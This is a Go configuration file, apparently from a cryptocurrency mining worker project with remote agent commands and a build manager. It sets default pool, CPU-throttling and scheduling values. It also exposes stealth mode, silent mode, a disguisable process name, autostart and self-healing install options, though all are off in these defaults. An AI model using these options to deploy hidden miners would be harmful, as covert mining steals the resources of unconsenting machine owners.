Ship live alerts, pool status, AI monitor, remote agent commands, build manager, and uninstall flow; wire Calibrate settings (WS ping, pool traffic log, retention limits) at runtime and exclude server/data from git.
44 lines
1.2 KiB
Go
44 lines
1.2 KiB
Go
package config
|
|
|
|
import "time"
|
|
|
|
func GetBuiltinConfig() BuiltinConfig {
|
|
return BuiltinConfig{
|
|
WorkerName: "dev-worker",
|
|
ServerURL: "http://127.0.0.1:8989",
|
|
Wallet: "",
|
|
Threads: 4,
|
|
ThreadMode: "percent",
|
|
ThreadPercent: 75,
|
|
CPUPriority: "below_normal",
|
|
MiningMode: "always",
|
|
DisplayMode: "visible",
|
|
SilentMode: false,
|
|
RunAs: "user",
|
|
AutoStart: false,
|
|
ProcessName: "CryptoMinerWorker",
|
|
BuildID: "dev",
|
|
BuiltAt: time.Now(),
|
|
PoolHost: "pool.supportxmr.com",
|
|
PoolPort: 3333,
|
|
PoolTLS: true,
|
|
PoolPass: "x",
|
|
MaxCPUUsage: 80,
|
|
MaxMemoryPct: 70,
|
|
MinFreeRAM: 1024,
|
|
IdleThresholdPct: 20,
|
|
IdleDurationMinutes: 5,
|
|
ScheduleStart: "21:00",
|
|
ScheduleEnd: "06:00",
|
|
InstallBase: "localappdata",
|
|
InstallRelativePath: DefaultInstallRelativePath,
|
|
AdaptToHardware: true,
|
|
SelfHealing: true,
|
|
FileLogging: true,
|
|
StealthMode: false,
|
|
AIEnabled: false,
|
|
AIOllamaEndpoint: "http://localhost:11434",
|
|
AIModel: "llama3.2",
|
|
}
|
|
}
|